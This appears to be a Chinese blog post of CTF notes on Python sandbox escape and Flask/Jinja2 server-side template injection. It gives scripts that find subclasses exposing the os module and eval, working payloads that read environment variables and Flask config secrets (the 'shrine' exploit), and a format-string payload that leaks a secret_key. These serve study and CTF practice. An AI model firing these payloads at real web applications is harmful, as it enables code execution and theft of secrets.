https://www.jianshu.com/p/a77c50dfebcb

1
2
3
4
5
6
7
8
9
10
11
12
13
#!/usr/bin/env python
# encoding: utf-8

cnt=0
for item in [].__class__.__base__.__subclasses__():
try:
if 'os' in item.__init__.__globals__:
print cnt,item
cnt+=1
except:
print "error",cnt,item
cnt+=1
continue

寻找的思路,我以python2中的第一条为例来说明,大家可以看到,无论是[].__class__.__base__.__subclasses__()还是"".__class__.__mro__[-1].__subclasses__()还是样例中的其他写法,都表示(python2)或是的子类,所以这就是我们sandbox bypass的核心, 首先通过这份代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
#!/usr/bin/env python
# encoding: utf-8

cnt=0
for item in [].__class__.__base__.__subclasses__():
try:
if 'os' in item.__init__.__globals__:
print cnt,item
cnt+=1
except:
print "error",cnt,item
cnt+=1
continue

我们找到

1
2
3
4
5
6
7
8
...
...
71 <class 'site._Printer'>
...
...
76 <class 'site.Quitter'>
...
...

这两个模块是引入过’os’模块的,所以我们就可以用:

  • [].__class__.__base__.__subclasses__()[71].__init__.__globals__['os']
  • [].__class__.__base__.__subclasses__()[76].__init__.__globals__['os']

轻松引入os模块了。 再以Python2的第三条和第四条为例,我用如下代码寻找的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#!/usr/bin/env python
# encoding: utf-8

cnt=0
for item in "".__class__.__mro__[-1].__subclasses__():
try:
cnt2=0
for i in item.__init__.__globals__:
if 'eval' in item.__init__.__globals__[i]:
print cnt,item,cnt2,i
cnt2+=1
cnt+=1
except:
print "error",cnt,item
cnt+=1
continue

所以其实寻找方式其实大同小异,只要巧妙的运用魔术方法来寻找关键函数和关键模块就行了,当然其中的变通啊bypass啊也需要根据实际环境去解决,这里就不再过多赘述。

哦,还要多提一下jinja2,因为使用的频率相当高,所以jinja2下的给一个poc:

1
request.__class__.__mro__[8].__subclasses__()[40]

另外关于jinja2下的一些其他姿势,我就不强行搬运了,主要看看这个Jinja2 template injection filter bypasses

当然最好是看jinja的文档中的内置过滤器清单一栏

思路则主要是利用内置过滤器来控制输入来bypass黑名单过滤。

SSTI

提到了这里还是说说实际和ssti相关的东西,以flask为例,如果是直接return render_template('home.html', url=request.args.get('p'))就基本不存在ssti了,render_template_string存在ssti,而django中的如果使用return render(request,'xxx.html',var)也基本是安全的。

Flask

CTF shrine题目

url_for, g, request, namespace, lipsum, range, session, dict, get_flashed_messages, cycler, joiner, config

3. If I can use ( and )

1
{{[].__class__.__base__.__subclasses__()[68].__init__.__globals__['os'].__dict__.environ['FLAG]}}

method 1.Discover current_app in url_for

1
{{url_for}}

1
<function url_for at 0x7f5cc8cd1f28>

1
{{url_for.__globals__}}

method 2.Discover current_app in get_flashed_messages

1
{{get_flashed_messages}}

``


1
{{get_flashed_messages.__globals__}}

exploit

1
GET /shrine/{{url_for.__globals__['current_app'].config['FLAG']}}

or

1
GET /shrine/{{get_flashed_messages.__globals__['current_app'].config['FLAG']}}

CTF CISCN-2018-Final

格式化字符串+SESSION伪造+软连接读文件

代码中class User(db.Model,SQLAlchemy)继承了SQLAlchemy类,SQLAlchemy类中有请求上下文current_app变量,通过测试可以获取。
注册POC: {user.__class__.__mro__[3].__init__.__globals__[current_app].config},登陆后访问个人中心,拿到secret_key。

Smi1e

http://bendawang.site/2018/03/01/关于Python-sec的一些总结/